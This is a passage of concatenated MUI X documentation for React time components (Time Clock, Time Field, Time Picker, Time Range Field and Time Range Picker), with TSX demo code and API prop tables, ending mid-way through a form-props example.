githubLabel: 'component: TimePicker'
packageName: '@mui/x-date-pickers'
---

# Time Clock

The Time Clock component lets the user select a time without any input or popper / modal.

## Basic usage

```tsx
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { TimeClock } from '@mui/x-date-pickers/TimeClock';

export default function BasicTimeClock() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <TimeClock />
    </LocalizationProvider>
  );
}

```

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { TimeClock } from '@mui/x-date-pickers/TimeClock';

export default function TimeClockValue() {
  const [value, setValue] = React.useState<Dayjs | null>(dayjs('2022-04-17T15:30'));

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimeClock', 'TimeClock']}>
        <DemoItem label="Uncontrolled clock">
          <TimeClock defaultValue={dayjs('2022-04-17T15:30')} />
        </DemoItem>
        <DemoItem label="Controlled clock">
          <TimeClock value={value} onChange={(newValue) => setValue(newValue)} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Form props

The component can be disabled or read-only.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { TimeClock } from '@mui/x-date-pickers/TimeClock';

export default function TimeClockFormProps() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimeClock', 'TimeClock']}>
        <DemoItem label="disabled">
          <TimeClock defaultValue={dayjs('2022-04-17T15:30')} disabled />
        </DemoItem>
        <DemoItem label="readOnly">
          <TimeClock defaultValue={dayjs('2022-04-17T15:30')} readOnly />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Views

The component can contain three views: `hours`, `minutes`, and `seconds`.
By default, only the `hours` and `minutes` views are enabled.

You can customize the enabled views using the `views` prop.
Views will appear in the order they're included in the `views` array.

```tsx
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { TimeClock } from '@mui/x-date-pickers/TimeClock';

export default function TimeClockViews() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimeClock', 'TimeClock', 'TimeClock']}>
        <DemoItem label={'"hours", "minutes" and "seconds"'}>
          <TimeClock views={['hours', 'minutes', 'seconds']} />
        </DemoItem>
        <DemoItem label={'"hours"'}>
          <TimeClock views={['hours']} />
        </DemoItem>
        <DemoItem label={'"minutes" and "seconds"'}>
          <TimeClock views={['minutes', 'seconds']} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## 12h/24h format

The component uses the hour format of the locale's time setting, that is the 12-hour or 24-hour format.

You can force a specific format using the `ampm` prop.

You can find more information about 12h/24h format in the [Date localization page](/x/react-date-pickers/adapters-locale/#meridiem-12h-24h-format).

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { TimeClock } from '@mui/x-date-pickers/TimeClock';

export default function TimeClockAmPm() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimeClock', 'TimeClock', 'TimeClock']}>
        <DemoItem label="Locale default behavior (enabled for enUS)">
          <TimeClock defaultValue={dayjs('2022-04-17T15:30')} />
        </DemoItem>
        <DemoItem label="AM PM enabled">
          <TimeClock defaultValue={dayjs('2022-04-17T15:30')} ampm />
        </DemoItem>
        <DemoItem label="AM PM disabled">
          <TimeClock defaultValue={dayjs('2022-04-17T15:30')} ampm={false} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/api/date-pickers/time-field.md

# Source: https://mui.com/x/react-date-pickers/time-field.md

---
productId: x-date-pickers
title: React Time Field component
components: TimeField
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers'
---

# Time Field

The Time Field component lets the user select a time with the keyboard.

## Basic usage

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { TimeField } from '@mui/x-date-pickers/TimeField';

export default function BasicTimeField() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimeField']}>
        <TimeField label="Basic time field" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { TimeField } from '@mui/x-date-pickers/TimeField';

export default function TimeFieldValue() {
  const [value, setValue] = React.useState<Dayjs | null>(dayjs('2022-04-17T15:30'));

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimeField', 'TimeField']}>
        <TimeField
          label="Uncontrolled field"
          defaultValue={dayjs('2022-04-17T15:30')}
        />
        <TimeField
          label="Controlled field"
          value={value}
          onChange={(newValue) => setValue(newValue)}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

### Customize the time format

```tsx
import dayjs from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { TimeField } from '@mui/x-date-pickers/TimeField';

export default function CustomTimeFormat() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimeField', 'TimeField', 'TimeField']}>
        <TimeField
          label="Format with meridiem"
          defaultValue={dayjs('2022-04-17T15:30')}
          format="hh:mm a"
        />
        <TimeField
          label="Format without meridiem"
          defaultValue={dayjs('2022-04-17T15:30')}
          format="HH:mm"
        />
        <TimeField
          label="Format with seconds"
          defaultValue={dayjs('2022-04-17T15:30')}
          format="HH:mm:ss"
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info
See [Date format and localization—Custom formats](/x/react-date-pickers/adapters-locale/#custom-formats) for more details.
:::

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/react-data-grid/demos/time-off-calendar.md

# Data Grid - Time off calendar demo

Date range visualization in the Data Grid, using a calendar UI to display and manage time periods.

---

# Source: https://mui.com/x/api/date-pickers/time-picker-toolbar.md

# TimePickerToolbar API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)

## Import

```jsx
import { TimePickerToolbar } from '@mui/x-date-pickers/TimePicker';
// or
import { TimePickerToolbar } from '@mui/x-date-pickers';
// or
import { TimePickerToolbar } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| hidden | `bool` | ``true` for Desktop, `false` for Mobile.` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| toolbarFormat | `string` | - | No |  |
| toolbarPlaceholder | `node` | `"––"` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | ampmLabel | Styles applied to the meridiem label element. |
| - | ampmLandscape | Styles applied to the meridiem selection element in landscape mode. |
| - | ampmSelection | Styles applied to the meridiem selection element. |
| - | hourMinuteLabel | Styles applied to the time sections element. |
| - | hourMinuteLabelLandscape | Styles applied to the time sections element in landscape mode. |
| - | hourMinuteLabelReverse | Styles applied to the time sections element in "rtl" theme mode. |
| - | root | Styles applied to the root element. |
| - | separator | Styles applied to the separator element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/TimePicker/TimePickerToolbar.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/TimePicker/TimePickerToolbar.tsx)

---

# Source: https://mui.com/x/api/date-pickers/time-picker.md

# Source: https://mui.com/x/react-date-pickers/time-picker.md

---
productId: x-date-pickers
title: React Time Picker component
components: TimePicker, DesktopTimePicker, MobileTimePicker, StaticTimePicker, DigitalClock, MultiSectionDigitalClock, TimeClock
githubLabel: 'component: TimePicker'
packageName: '@mui/x-date-pickers'
materialDesign: https://m2.material.io/components/time-pickers
---

# Time Picker

The Time Picker component lets the user select a time.

## Basic usage

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { TimePicker } from '@mui/x-date-pickers/TimePicker';

export default function BasicTimePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimePicker']}>
        <TimePicker label="Basic time picker" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Component composition

The component is built using the `TimeField` for the keyboard editing, the `DigitalClock` for the desktop view editing, and the `TimeClock` for the mobile view editing.

Check out their documentation page for more information:

- [Time Field](/x/react-date-pickers/time-field/)
- [Digital Clock](/x/react-date-pickers/digital-clock/)
- [Time Clock](/x/react-date-pickers/time-clock/)

You can check the available props of the combined component on the dedicated [API page](/x/api/date-pickers/time-picker/#props).
Some [TimeField props](/x/api/date-pickers/time-field/#props) are not available on the Picker component, you can use `slotProps.field` to pass them to the field.

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { TimePicker } from '@mui/x-date-pickers/TimePicker';

export default function TimePickerValue() {
  const [value, setValue] = React.useState<Dayjs | null>(dayjs('2022-04-17T15:30'));

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimePicker', 'TimePicker']}>
        <TimePicker
          label="Uncontrolled picker"
          defaultValue={dayjs('2022-04-17T15:30')}
        />
        <TimePicker
          label="Controlled picker"
          value={value}
          onChange={(newValue) => setValue(newValue)}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Available components

The component is available in four variants:

- The `DesktopTimePicker` component which works best for mouse devices and large screens.
  It renders the views inside a popover and a field for keyboard editing.

- The `MobileTimePicker` component which works best for touch devices and small screens.
  It renders the view inside a modal and a field for keyboard editing.

- The `TimePicker` component which renders `DesktopTimePicker` or `MobileTimePicker` depending on the device it runs on.

- The `StaticTimePicker` component which renders without the popover/modal and field.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { TimePicker } from '@mui/x-date-pickers/TimePicker';
import { MobileTimePicker } from '@mui/x-date-pickers/MobileTimePicker';
import { DesktopTimePicker } from '@mui/x-date-pickers/DesktopTimePicker';
import { StaticTimePicker } from '@mui/x-date-pickers/StaticTimePicker';

export default function ResponsiveTimePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'TimePicker',
          'MobileTimePicker',
          'DesktopTimePicker',
          'StaticTimePicker',
        ]}
      >
        <DemoItem label="Desktop variant">
          <DesktopTimePicker defaultValue={dayjs('2022-04-17T15:30')} />
        </DemoItem>
        <DemoItem label="Mobile variant">
          <MobileTimePicker defaultValue={dayjs('2022-04-17T15:30')} />
        </DemoItem>
        <DemoItem label="Responsive variant">
          <TimePicker defaultValue={dayjs('2022-04-17T15:30')} />
        </DemoItem>
        <DemoItem label="Static variant">
          <StaticTimePicker defaultValue={dayjs('2022-04-17T15:30')} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

By default, the `TimePicker` component renders the desktop version if the media query [`@media (pointer: fine)`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/pointer) matches.
This can be customized with the `desktopModeMediaQuery` prop.

:::warning
Responsive components can suffer some inconsistencies between testing environments if media query is not supported.
Please refer to [this section](/x/react-date-pickers/base-concepts/#testing-caveats) for solutions.
:::

## Form props

The component supports the `disabled`, `readOnly` and `name` form props:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { TimePicker } from '@mui/x-date-pickers/TimePicker';

export default function FormPropsTimePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimePicker', 'TimePicker', 'TimePicker']}>
        <TimePicker label="disabled" disabled />
        <TimePicker label="readOnly" readOnly />
        <TimePicker label="name" name="startTime" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Views

The component supports three views: `hours`, `minutes` and `seconds`.

By default, the `hours` and `minutes` views are enabled.
Use the `views` prop to change this behavior:

```tsx
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { TimePicker } from '@mui/x-date-pickers/TimePicker';

export default function TimePickerViews() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimePicker', 'TimePicker', 'TimePicker']}>
        <DemoItem label={'"hours", "minutes" and "seconds"'}>
          <TimePicker views={['hours', 'minutes', 'seconds']} />
        </DemoItem>
        <DemoItem label={'"hours"'}>
          <TimePicker views={['hours']} />
        </DemoItem>
        <DemoItem label={'"minutes" and "seconds"'}>
          <TimePicker views={['minutes', 'seconds']} format="mm:ss" />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

By default, the `MobileTimePicker` component renders the `hours` view on mount.
Use the `openTo` prop to change this behavior:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { MobileTimePicker } from '@mui/x-date-pickers/MobileTimePicker';

export default function TimePickerOpenTo() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['MobileTimePicker', 'MobileTimePicker']}>
        <MobileTimePicker label={'"minutes"'} openTo="minutes" />
        <MobileTimePicker
          label={'"seconds"'}
          openTo="seconds"
          views={['minutes', 'seconds']}
          format="mm:ss"
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::success
The views will appear in the order defined by the `views` array.
If the view defined in `openTo` is not the first view, then the views before will not be included in the default flow.
:::

## Landscape orientation

By default, the Time Picker component automatically sets the orientation based on the `window.orientation` value.

You can force a specific orientation using the `orientation` prop.

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { StaticTimePicker } from '@mui/x-date-pickers/StaticTimePicker';

export default function StaticTimePickerLandscape() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticTimePicker orientation="landscape" />
    </LocalizationProvider>
  );
}

```

:::info
You can find more information about the layout customization in the [custom layout page](/x/react-date-pickers/custom-layout/).
:::

## Choose time view renderer

You can use the `viewRenderers` prop to change the view that is used for rendering a view.
You might be interested in using the [Time Clock](/x/react-date-pickers/time-clock/) instead of the [Digital Clock](/x/react-date-pickers/digital-clock/) on desktop as well as mobile.

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { TimePicker } from '@mui/x-date-pickers/TimePicker';
import { renderTimeViewClock } from '@mui/x-date-pickers/timeViewRenderers';

export default function TimePickerViewRenderers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimePicker']}>
        <TimePicker
          label="With Time Clock"
          viewRenderers={{
            hours: renderTimeViewClock,
            minutes: renderTimeViewClock,
            seconds: renderTimeViewClock,
          }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/react-date-pickers/time-range-field.md

---
productId: x-date-pickers
title: React Time Range Field components
components: MultiInputTimeRangeField, SingleInputTimeRangeField
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers-pro'
---

# Time Range Field [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The Time Range Field lets the user select a range of time with the keyboard.

## Basic usage

:::info
All the topics covered below are applicable to both `SingleInputTimeRangeField` and `MultiInputTimeRangeField` unless explicitly mentioned.
:::

You can render your Time Range Field with either one input using `SingleInputTimeRangeField` or two inputs using `MultiInputTimeRangeField` as shown below.

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { MultiInputTimeRangeField } from '@mui/x-date-pickers-pro/MultiInputTimeRangeField';
import { SingleInputTimeRangeField } from '@mui/x-date-pickers-pro/SingleInputTimeRangeField';

export default function BasicTimeRangeField() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={['SingleInputTimeRangeField', 'MultiInputTimeRangeField']}
      >
        <SingleInputTimeRangeField label="From - To" />
        <MultiInputTimeRangeField
          slotProps={{
            textField: ({ position }) => ({
              label: position === 'start' ? 'From' : 'To',
            }),
          }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRange } from '@mui/x-date-pickers-pro/models';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { SingleInputTimeRangeField } from '@mui/x-date-pickers-pro/SingleInputTimeRangeField';

export default function TimeRangeFieldValue() {
  const [value, setValue] = React.useState<DateRange<Dayjs>>(() => [
    dayjs('2022-04-17T15:30'),
    dayjs('2022-04-17T18:30'),
  ]);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={['SingleInputTimeRangeField', 'SingleInputTimeRangeField']}
      >
        <SingleInputTimeRangeField
          label="Uncontrolled field"
          defaultValue={[dayjs('2022-04-17T15:30'), dayjs('2022-04-17T18:30')]}
        />
        <SingleInputTimeRangeField
          label="Controlled field"
          value={value}
          onChange={(newValue) => setValue(newValue)}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/api/date-pickers/time-range-picker-tabs.md

# TimeRangePickerTabs API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Time Range Picker

## Import

```jsx
import { TimeRangePickerTabs } from '@mui/x-date-pickers-pro/TimeRangePicker';
// or
import { TimeRangePickerTabs } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| hidden | `bool` | ``window.innerHeight < 667` for `DesktopTimeRangePicker` and `MobileTimeRangePicker`, `displayStaticWrapperAs === 'desktop'` for `StaticTimeRangePicker`` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timeIcon | `element` | `Time` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | root | Styles applied to the root element. |
| - | tab | Styles applied to the tab element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/TimeRangePicker/TimeRangePickerTabs.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/TimeRangePicker/TimeRangePickerTabs.tsx)

---

# Source: https://mui.com/x/api/date-pickers/time-range-picker-toolbar.md

# TimeRangePickerToolbar API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Time Range Picker

## Import

```jsx
import { TimeRangePickerToolbar } from '@mui/x-date-pickers-pro/TimeRangePicker';
// or
import { TimeRangePickerToolbar } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| hidden | `bool` | ``true` for Desktop, `false` for Mobile.` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| toolbarPlaceholder | `node` | `"––"` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | container | Styles applied to the container element. |
| - | root | Styles applied to the root element. |
| - | separator | Styles applied to the separator element. |
| - | timeContainer | Styles applied to the time container element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/TimeRangePicker/TimeRangePickerToolbar.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/TimeRangePicker/TimeRangePickerToolbar.tsx)

---

# Source: https://mui.com/x/api/date-pickers/time-range-picker.md

# Source: https://mui.com/x/react-date-pickers/time-range-picker.md

---
productId: x-date-pickers
title: React Time Range Picker component
components: TimeRangePicker, DesktopTimeRangePicker, MobileTimeRangePicker, DigitalClock, MultiSectionDigitalClock, TimeRangePickerTabs, TimeRangePickerToolbar
githubLabel: 'component: TimeRangePicker'
packageName: '@mui/x-date-pickers-pro'
materialDesign: https://m2.material.io/components/date-pickers
---

# Time Range Picker [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The Time Range Picker lets users select a range of time values.

## Basic usage

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers-pro/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers-pro/AdapterDayjs';
import { TimeRangePicker } from '@mui/x-date-pickers-pro/TimeRangePicker';

export default function BasicTimeRangePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimeRangePicker']}>
        <TimeRangePicker />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Component composition

The component is built using the `SingleInputTimeRangeField` for the keyboard editing and the `DigitalClock` for the view editing.

Check out their documentation page for more information:

- [Time Range Field](/x/react-date-pickers/time-range-field/)
- [Digital Clock](/x/react-date-pickers/digital-clock/)

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRange } from '@mui/x-date-pickers-pro/models';
import { TimeRangePicker } from '@mui/x-date-pickers-pro/TimeRangePicker';

export default function TimeRangePickerValue() {
  const [value, setValue] = React.useState<DateRange<Dayjs>>([
    dayjs('2022-04-17T15:30'),
    dayjs('2022-04-17T18:30'),
  ]);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['TimeRangePicker', 'TimeRangePicker']}>
        <DemoItem label="Uncontrolled picker" component="TimeRangePicker">
          <TimeRangePicker
            defaultValue={[dayjs('2022-04-17'), dayjs('2022-04-21')]}
          />
        </DemoItem>
        <DemoItem label="Controlled picker" component="TimeRangePicker">
          <TimeRangePicker
            value={value}
            onChange={(newValue) => setValue(newValue)}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Available components

The component is available in three variants:

- The `DesktopTimeRangePicker` component which works best for mouse devices and large screens.
  It renders the views inside a popover and a field for keyboard editing.

- The `MobileTimeRangePicker` component which works best for touch devices and small screens.
  It renders the views inside a modal and a field for keyboard editing.

- The `TimeRangePicker` component which renders `DesktopTimeRangePicker` or `MobileTimeRangePicker` depending on the device it runs on.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { TimeRangePicker } from '@mui/x-date-pickers-pro/TimeRangePicker';
import { MobileTimeRangePicker } from '@mui/x-date-pickers-pro/MobileTimeRangePicker';
import { DesktopTimeRangePicker } from '@mui/x-date-pickers-pro/DesktopTimeRangePicker';

export default function ResponsiveTimeRangePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'TimeRangePicker',
          'MobileTimeRangePicker',
          'DesktopTimeRangePicker',
        ]}
      >
        <DemoItem label="Desktop variant" component="DesktopTimeRangePicker">
          <DesktopTimeRangePicker
            defaultValue={[dayjs('2022-04-17T15:30'), dayjs('2022-04-17T18:30')]}
          />
        </DemoItem>
        <DemoItem label="Mobile variant" component="MobileTimeRangePicker">
          <MobileTimeRangePicker
            defaultValue={[dayjs('2022-04-17T15:30'), dayjs('2022-04-17T18:30')]}
          />
        </DemoItem>
        <DemoItem label="Responsive variant" component="TimeRangePicker">
          <TimeRangePicker
            defaultValue={[dayjs('2022-04-17T15:30'), dayjs('2022-04-17T18:30')]}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

By default, the `TimeRangePicker` component renders the desktop version if the media query [`@media (pointer: fine)`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/pointer) matches.
This can be customized with the `desktopModeMediaQuery` prop.

:::warning
Responsive components can suffer some inconsistencies between testing environments if media query is not supported.
Please refer to [this section](/x/react-date-pickers/base-concepts/#testing-caveats) for solutions.
:::

## Form props

The component supports the `disabled`, `readOnly` and `name` props:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { TimeRangePicker } from '@mui/x-date-pickers-pro/TimeRangePicker';

export default function FormPropsTimeRangePickers() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
